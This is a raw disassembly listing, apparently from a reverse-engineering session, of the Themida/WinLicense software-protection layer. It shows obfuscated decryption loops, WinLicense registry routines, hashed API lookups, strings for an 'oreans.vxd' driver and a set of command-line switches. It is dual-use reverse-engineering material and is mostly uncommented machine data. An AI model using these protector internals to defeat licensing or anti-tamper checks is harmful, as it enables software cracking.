[ebp+6151735h] popa xor edx, edx loc_5A3F08: ; CODE XREF: Themida_:005A3F4Bj push dword ptr [edx+esi] stc pop edi mov ax, di xor edi, 51203284h mov bx, 9AE6h sub edi, 44EFF1B4h mov ecx, [ebp+6150C5Dh] sub edi, 69A78055h push edi mov ebx, [ebp+6151005h] pop ecx mov [esi+edx], edi jnp loc_5A3F41 mov cx, 20CBh loc_5A3F41: ; CODE XREF: Themida_:005A3F37j sub edx, 4 stc cmp edx, 0FFFF976Ch jnz loc_5A3F08 jmp loc_5A4000 ; --------------------------------------------------------------------------- aSoftwareWinlic db 'Software\WinLicense',0 aCheckin db 'CheckIN',0 aXprotexit db 'XprotExit',0 aCheckout db 'CheckOUT',0 aWinlicensevers db 'WinLicenseVersion',0 aWinlicensedriv db 'WinLicenseDriverVersion',0 aWinlicenseinst db 'WinLicenseInstance',0 aExitok db 'ExitOk',0 aProcin db 'ProcIN',0 aProcout db 'ProcOUT',0 aExitin db 'ExitIN',0 aExitout db 'ExitOUT',0 aTpin db 'TpIN',0 dd 3 dup(0) dd 77DEB908h, 77DFD5BBh ; --------------------------------------------------------------------------- loc_5A4000: ; CODE XREF: Themida_:005A3F51j jmp loc_5A459B ; --------------------------------------------------------------------------- mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 19h push dword ptr [ebp+617A5C1h] push 1 push 0 lea eax, [ebp+617A556h] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] retn ; --------------------------------------------------------------------------- mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A580h] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] retn ; --------------------------------------------------------------------------- mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A568h] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] retn ; --------------------------------------------------------------------------- mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A593h] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] retn ; --------------------------------------------------------------------------- mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A543h] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+615282Dh], 0 jz locret_5A41D4 mov ebx, [ebp+615282Dh] add ebx, 4Ch mov [ebx], eax locret_5A41D4: ; CODE XREF: Themida_:005A41C3j retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+615282Dh], 0 jz locret_5A41ED mov ebx, [ebp+615282Dh] add ebx, 50h mov [ebx], eax locret_5A41ED: ; CODE XREF: Themida_:005A41DCj retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+615282Dh], 0 jz locret_5A4206 mov ebx, [ebp+615282Dh] add ebx, 54h mov [ebx], eax locret_5A4206: ; CODE XREF: Themida_:005A41F5j retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+615282Dh], 0 jz locret_5A421F mov ebx, [ebp+615282Dh] add ebx, 58h mov [ebx], eax locret_5A421F: ; CODE XREF: Themida_:005A420Ej retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+615282Dh], 0 jz locret_5A4238 mov ebx, [ebp+615282Dh] add ebx, 5Ch mov [ebx], eax locret_5A4238: ; CODE XREF: Themida_:005A4227j retn ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pusha mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A5B8h] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] cmp dword ptr [ebp+61508F5h], 0 jz loc_5A4293 push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] loc_5A4293: ; CODE XREF: Themida_:005A4281j push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A59Ah] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] cmp dword ptr [ebp+61508F5h], 0 jz loc_5A42FA push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] loc_5A42FA: ; CODE XREF: Themida_:005A42E8j push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A5A1h] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] cmp dword ptr [ebp+61508F5h], 0 jz loc_5A4361 push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] loc_5A4361: ; CODE XREF: Themida_:005A434Fj push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A5A9h] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] cmp dword ptr [ebp+61508F5h], 0 jz loc_5A43C8 push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] loc_5A43C8: ; CODE XREF: Themida_:005A43B6j push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A5B0h] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] cmp dword ptr [ebp+61508F5h], 0 jz loc_5A442F push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] loc_5A442F: ; CODE XREF: Themida_:005A441Dj push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] popa retn ; --------------------------------------------------------------------------- pusha mov dword ptr [ebp+617A5C1h], 1 lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000002h call dword ptr [ebp+617A5CDh] or eax, eax jz loc_5A4478 mov dword ptr [ebp+617A5C1h], 0 jmp loc_5A44C5 ; --------------------------------------------------------------------------- loc_5A4478: ; CODE XREF: Themida_:005A4463j push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A53Bh] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] or eax, eax jz loc_5A44AF mov dword ptr [ebp+617A5C1h], 0 jmp loc_5A44B9 ; --------------------------------------------------------------------------- loc_5A44AF: ; CODE XREF: Themida_:005A449Aj mov dword ptr [ebp+617A5C1h], 1 loc_5A44B9: ; CODE XREF: Themida_:005A44AAj push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] loc_5A44C5: ; CODE XREF: Themida_:005A4473j popa mov eax, [ebp+617A5C1h] retn ; --------------------------------------------------------------------------- pusha mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A53Bh] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] cmp dword ptr [ebp+61508F5h], 0 jz loc_5A4526 push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] loc_5A4526: ; CODE XREF: Themida_:005A4514j push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+617A5C1h], eax lea eax, [ebp+617A5BDh] push eax lea eax, [ebp+617A527h] push eax push 80000001h call dword ptr [ebp+617A5CDh] push 4 lea eax, [ebp+617A5C1h] push eax push 4 push 0 lea eax, [ebp+617A54Dh] push eax push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6150345h] cmp dword ptr [ebp+61508F5h], 0 jz loc_5A458D push dword ptr [ebp+617A5BDh] call dword ptr [ebp+617A5C9h] loc_5A458D: ; CODE XREF: Themida_:005A457Bj push dword ptr [ebp+617A5BDh] call dword ptr [ebp+6151819h] popa retn ; --------------------------------------------------------------------------- loc_5A459B: ; CODE XREF: Themida_:loc_5A4000j mov byte ptr [ebp+61509C5h], 52h push 0ADE47B07h push dword ptr [ebp+6151789h] call dword ptr [ebp+6150D7Dh] mov [ebp+617A5CDh], eax mov byte ptr [ebp+61509C5h], 52h push 902E00E5h push dword ptr [ebp+6151789h] call dword ptr [ebp+6150D7Dh] mov [ebp+617A5C9h], eax mov byte ptr [ebp+61509C5h], 52h push 0B9BF1235h push dword ptr [ebp+6151789h] call dword ptr [ebp+6150D7Dh] mov [ebp+6150345h], eax mov byte ptr [ebp+61509C5h], 52h push 98781034h push dword ptr [ebp+6151789h] call dword ptr [ebp+6150D7Dh] mov [ebp+6151819h], eax mov byte ptr [ebp+61509C5h], 52h push 0C005DBD4h push dword ptr [ebp+6151789h] call dword ptr [ebp+6150D7Dh] mov [ebp+6152391h], eax jmp short loc_5A4651 ; --------------------------------------------------------------------------- db 5Ch dd 535C2E5Ch, 454349h dword_5A463C dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h ; DATA XREF: Themida_:00579B38o db 0 ; --------------------------------------------------------------------------- loc_5A4651: ; CODE XREF: Themida_:005A4631j mov eax, eax xor edi, [ebp+615300Dh] cmp dword ptr [ebp+61508F5h], 0 jnz short loc_5A466B cmp dword ptr [ebp+61503ADh], 0 jz short loc_5A4684 loc_5A466B: ; CODE XREF: Themida_:005A4660j push eax push ebx mov eax, eax mov eax, 40Fh mov [ebp+6151385h], eax lea ebx, [ebp+617AA9Eh] call ebx ; _iob pop ebx pop eax loc_5A4684: ; CODE XREF: Themida_:005A4669j cmp dword ptr [ebp+61503ADh], 0 jz short loc_5A46A4 ; CODE XREF: sub_5A46CA+10j push eax push ebx mov eax, 40Fh mov [ebp+6151385h], eax lea ebx, [ebp+617A78Dh] call ebx ; _iob pop ebx pop eax loc_5A46A4: ; CODE XREF: Themida_:005A468Bj mov edi, 79CBF86Eh mov eax, eax mov dx, 0FFCBh mov esi, 5743EEE5h mov byte ptr [ebp+61509C5h], 43h or esi, 68389A16h call sub_5A46CA cld outsb ; --------------------------------------------------------------------------- db 8Eh, 0BCh ; =============== S U B R O U T I N E ======================================= sub_5A46CA proc near ; CODE XREF: Themida_:005A46C1p push eax mov cl, bl mov eax, [esp+4] mov edi, eax mov eax, [eax] call sub_5A46E3 db 2Eh jz short near ptr loc_5A468B+1 push ebp push 3B60D229h sub_5A46CA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A46E3 proc near ; CODE XREF: sub_5A46CA+Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], eax pop eax or [ebp+61522F5h], ecx push dword ptr [ebp+6151685h] mov [ebp+615127Dh], eax lea eax, [ebp+6153B38h] push 0 push edx call sub_5A470C and [edx-3Dh], bl sub_5A46E3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A470C proc near ; CODE XREF: sub_5A46E3+21p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5A470C endp ; --------------------------------------------------------------------------- dd 0B79C172Bh, 0D0FF1558h, 12E9h, 72238D00h, 0B2883C67h dd 0C6CB1AF5h, 0DF8F920Fh, 90694095h, 18820Fh, 0EE80000h dd 0B7000000h, 546F154Fh, 8BFA5B4Bh, 0BECAE279h, 0C4BE66CBh dd 0F505F43h, 89h, 95299000h, 61533C1h, 830F006Ah, 1, 8DE468F5h dd 5060BB42h, 10E952h, 0CA600000h, 3FC5C3B4h, 6B5A1489h dd 0F77A1C2Dh, 310FCB3Fh, 0EE9h, 0C52D0A00h, 82B305F9h dd 34CBA0B1h, 5A12BE53h, 4816158h, 0BD729C24h, 8AB96644h dd 0E9036A95h, 0Dh, 607E76DBh, 0E6D7EF37h, 21A87CEEh, 0B1006A86h dd 0E8036A25h, 4, 0C0000000h, 6E8h, 3D540900h, 0B277FDA5h dd 8B505FB5h, 66042444h, 8BF88Bh, 4489F18Bh, 0D0BF0424h dd 58568F7Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 81C35242h, 8DAD8661h, 17AC049Dh, 0D18D3106h, 50061526h dd 59F5B653h, 0BE241C89h, 2AB62A85h, 0C7B9D0FFh, 4017D7F8h dd 30C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 898DA0C3h, 15340D85h, 8D8B5806h dd 61506D9h, 8915B650h, 0F602404h, 688h, 81BD0300h, 0E806151Ch dd 14h, 110EACC2h, 0B887AAF6h, 10981B28h, 0CB52CC0h, 34A1E425h dd 5858Bh, 615A0615h, 6AF78B66h, 6830F00h, 89000000h, 152C8D8Dh dd 565A6806h, 34817049h, 4956DA24h, 36AF870h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 38C35343h, 5AEACA16h dd 168A0F61h, 0E9000000h, 11h, 0A0789077h, 50153688h, 4C546EEh dd 0F85151E8h, 80006ADDh, 36A92EEh, 939BD33h, 4E80615h dd 0 dd 0B1C00000h, 12E8500Dh, 59000000h, 691AA3FFh, 390FD3F4h dd 862C5B45h, 0AC888682h, 38F0F8Ch, 66000000h, 8B5EF88Bh dd 60042444h, 5840Fh, 0A0BA0000h, 61219DBAh, 8B66008Bh dd 244489D3h, 50525004h, 0F5F5252h, 57BF6631h, 0F585ADBh dd 0BE831h, 6ADE0000h, 0B0D89347h, 0A4CE838Eh, 8A0F79h dd 5E000000h, 6A58585Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0B0A9C357h, 0D327FE49h dd 7E01DC50h, 0BD8BF78Bh, 6150749h, 0AC0D9D8Dh, 0C9810617h dd 3CF21022h, 52525050h, 0F5E5F56h, 800F31h, 5A000000h dd 241C8958h, 2479958Bh, 0D0FF0615h, 77850F40h, 8B000001h dd 958B58CBh, 6152919h, 50CA8B90h, 9E9h, 0D5C8D400h, 2B3C782Ch dd 899035B6h, 1510A9BDh, 8B006A06h, 152539BDh, 98B76806h dd 5652D2FBh, 310F5250h, 5E5A585Ah, 0C9240481h, 602D0467h dd 92D7B866h, 14F71BFh, 60606127h, 4419589h, 858B0615h dd 6151785h, 90D38161h, 617FEC90h, 6A036Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 32CF40C3h dd 6A367ED4h, 13E800h, 0B040000h, 9EB7B242h, 583849E2h dd 95A127ECh, 82A07232h, 68B96690h, 36A5907h, 97DA8166h dd 84D668B9h, 481ADE1h, 1E7B2A24h, 50006A12h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0EC6F7DD7h dd 99D89ECh, 8D061501h, 17AC189Dh, 60EA8106h, 504E2488h dd 0BE8h, 1694100h, 2908D241h, 0A0E3BE32h, 895987B5h, 6A241Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E83E31C3h, 11h, 0B9618Ah, 26E09EC5h, 0F20DCD84h, 0EC3974D0h dd 0C18B6016h, 3237D181h, 5A6157E9h, 0FFCF8B66h, 850F40D0h dd 2Eh, 2251B52Bh, 89580615h, 152FF5B5h, 164E906h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0D88BB4C3h, 0EF8ABEBAh, 6A4B5Dh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F7EE83C3h dd 7E0B20D3h, 85894BA3h, 61516F1h, 8BD3B658h, 150ACDBDh dd 0C585C606h, 43061509h, 10DDB589h, 5F680615h, 609A26BBh dd 51CF8B66h, 615B5956h, 0F8243481h, 0B65A50F1h, 85B5FF59h dd 6A061516h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 5E90C356h, 0B87C5E2Eh, 9D893147h dd 6152941h, 3B38858Dh, 95890615h, 6150C89h, 1CC98509h dd 0D0FF0615h, 11B52960h, 0F061530h, 689h, 59D0B00h, 61061500h dd 0B7B6E0BFh, 8B669356h, 0BE6650FEh, 6A93C893h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0B842C357h, 0F9A9EE5Dh, 0BD8BD0FFh, 61520B9h, 720D9D8Dh dd 7E80615h, 61000000h, 3EFEAEF1h, 0BD8B8AC0h, 6150121h dd 1B85Eh, 8D890000h, 6152335h, 6AE3FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E9BB7DC3h dd 0Ch, 0EF4114AEh, 0AC01BA31h, 49E35DD7h, 1791BD8Bh, 0C18B0615h dd 755928B9h, 21B58B4Dh, 8B061509h, 0E68060C0h, 0B8F6810Bh dd 61016D5Dh, 8F5BD83h, 75000615h, 0ADBD8309h, 61503h dd 53501974h, 0FB8C08Bh, 89000004h, 1502A185h, 59D8D06h dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h, 0FB85350h dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 86B2C352h, 0F56EEF38h, 2AA9D1EEh, 9BD958Bh dd 8B520615h, 153405BDh, 0F5805906h, 0E9C08B06h, 20Eh dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h dd 676F7270h, 2E6D6172h, 68h dup(0) dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 0EFE90000h, 0C6000000h, 1509C585h, 86684706h, 0FFE3E45Bh dd 151685B5h, 38858D06h, 0FF06153Bh, 10468D0h, 9D8D0000h dd 6152B49h, 50D0FF53h, 0B4FDB58Dh, 0FE8B0617h, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 9C585C6h dd 68430615h, 0BC8E6EFCh, 1685B5FFh, 858D0615h, 6153B38h dd 0B58DD0FFh, 6152B49h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 1509C585h, 56685706h dd 0FFA69BEEh, 151685B5h, 38858D06h, 0FF06153Bh, 0D9BD8DD0h dd 8D061508h, 17B6238Dh, 57006A06h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 5B58D00h, 8D0617B3h, 17A3E185h, 8DD0FF06h dd 15720D8Dh, 0B806h, 0E1FF0000h, 9C585C6h, 68430615h dd 0C0764AA7h, 1685B5FFh, 858D0615h, 6153B38h, 0FF53D0FFh dd 0D0B9C3D0h, 0E8000037h, 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Eh mov [eax], ecx jmp loc_5A504D ; --------------------------------------------------------------------------- mov eax, ebx loc_5A504D: ; CODE XREF: Themida_:005A5046j ; DATA XREF: Themida_:0057C0CCo jmp loc_5A8822 ; --------------------------------------------------------------------------- dw 5A4Dh db 90h align 2 dw 3 dd 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A8822: ; CODE XREF: Themida_:loc_5A504Dj call near ptr loc_5A8827+5 loc_5A8827: ; CODE XREF: Themida_:loc_5A8822p mov bl, [ebp-76E31630h] test ds:5F06152Fh, ebp mov [ebp+615269Dh], eax add edi, 6AFCh mov dh, ah mov ebx, 1BC70D69h add ebx, 0E4390D33h cmc loc_5A884D: ; CODE XREF: Themida_:005A88A9j push dword ptr [edi] jns loc_5A885B or [ebp+615300Dh], edx loc_5A885B: ; CODE XREF: Themida_:005A884Fj pop esi mov edx, ebx xor esi, 19D8A2ECh mov cx, 0CF16h xor esi, 6EF31964h adc cx, 0BF64h sub esi, 117799Ch mov [ebp+61515F5h], edx mov [edi], esi mov [ebp+615130Dh], edx sub edi, 75270866h mov cx, ax add edi, 75270862h jmp loc_5A88A8 ; --------------------------------------------------------------------------- mov ds:7F8D51ECh, al cmpsb mov edi, 1957E6BEh sub dl, ah loc_5A88A8: ; CODE XREF: Themida_:005A8896j dec ebx jnz loc_5A884D pusha mov [ebp+6152F35h], ecx popa jmp loc_5A8955 ; --------------------------------------------------------------------------- dd 6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh dd 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 db 0 ; --------------------------------------------------------------------------- loc_5A8955: ; CODE XREF: Themida_:005A88B7j cmp dword ptr [ebp+617EF0Dh], 0 jz loc_5A896C mov dword ptr [ebp+61503ADh], 1 loc_5A896C: ; CODE XREF: Themida_:005A895Cj mov byte ptr [ebp+61509C5h], 47h push 4A0D98A6h add dword ptr [esp], 465FD3E7h push dword ptr [ebp+6151685h] lea eax, [ebp+6153B38h] call eax call eax mov edi, eax cmp byte ptr [edi], 22h jnz loc_5A89BC inc edi mov al, 22h loc_5A899D: ; CODE XREF: Themida_:005A899Ej scasb jnz loc_5A899D cmp byte ptr [edi], 0 jz loc_5A8CC8 inc edi cmp byte ptr [edi], 0 jz loc_5A8CC8 jmp loc_5A89DA ; --------------------------------------------------------------------------- loc_5A89BC: ; CODE XREF: Themida_:005A8994j ; Themida_:005A89D5j cmp byte ptr [edi], 0 jz loc_5A8CC8 cmp byte ptr [edi], 20h jnz loc_5A89D4 inc edi jmp loc_5A89DA ; --------------------------------------------------------------------------- loc_5A89D4: ; CODE XREF: Themida_:005A89C8j inc edi jmp loc_5A89BC ; --------------------------------------------------------------------------- loc_5A89DA: ; CODE XREF: Themida_:005A89B7j ; Themida_:005A89CFj ... cmp byte ptr [edi], 0 jnz loc_5A89E8 jmp loc_5A8CC8 ; --------------------------------------------------------------------------- loc_5A89E8: ; CODE XREF: Themida_:005A89DDj jmp loc_5A89EE ; --------------------------------------------------------------------------- loc_5A89ED: ; CODE XREF: Themida_:005A89F1j inc edi loc_5A89EE: ; CODE XREF: Themida_:loc_5A89E8j cmp byte ptr [edi], 20h jz loc_5A89ED cmp byte ptr [edi], 0 jnz loc_5A8A05 jmp loc_5A8CC8 ; --------------------------------------------------------------------------- loc_5A8A05: ; CODE XREF: Themida_:005A89FAj call sub_5A8A14 jmp loc_5A89DA ; --------------------------------------------------------------------------- jmp loc_5A8CC8 ; =============== S U B R O U T I N E ======================================= sub_5A8A14 proc near ; CODE XREF: Themida_:loc_5A8A05p lea esi, [ebp+617EE8Dh] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8A3D mov dword ptr [ebp+61508F5h], 1 retn ; --------------------------------------------------------------------------- loc_5A8A3D: ; CODE XREF: sub_5A8A14+18j lea esi, [ebp+617EE98h] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8A66 mov dword ptr [ebp+61503ADh], 1 retn ; --------------------------------------------------------------------------- loc_5A8A66: ; CODE XREF: sub_5A8A14+41j lea esi, [ebp+617EF11h] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8A8F mov dword ptr [ebp+6152E9Dh], 1 retn ; --------------------------------------------------------------------------- loc_5A8A8F: ; CODE XREF: sub_5A8A14+6Aj lea esi, [ebp+617EEA2h] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8AB8 mov dword ptr [ebp+61503ADh], 1 retn ; --------------------------------------------------------------------------- loc_5A8AB8: ; CODE XREF: sub_5A8A14+93j lea esi, [ebp+617EEACh] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8AEB mov dword ptr [ebp+61503ADh], 1 mov dword ptr [ebp+61508F5h], 1 retn ; --------------------------------------------------------------------------- loc_5A8AEB: ; CODE XREF: sub_5A8A14+BCj lea esi, [ebp+617EEBAh] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8B13 mov dword ptr [ebp+6152FF1h], 1 loc_5A8B13: ; CODE XREF: sub_5A8A14+EFj lea esi, [ebp+617EEC4h] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8B3B mov dword ptr [ebp+6152FF1h], 1 loc_5A8B3B: ; CODE XREF: sub_5A8A14+117j lea esi, [ebp+617EECFh] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8B63 mov dword ptr [ebp+6152FA9h], 1 loc_5A8B63: ; CODE XREF: sub_5A8A14+13Fj lea esi, [ebp+617EED5h] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8B8B mov dword ptr [ebp+61525E9h], 1 loc_5A8B8B: ; CODE XREF: sub_5A8A14+167j lea esi, [ebp+617EEDBh] call sub_5A8C44 add edi, [ebp+617EF22h] cmp dword ptr [ebp+617EF22h], 0 jz loc_5A8BB3 mov dword ptr [ebp+6152439h], 1 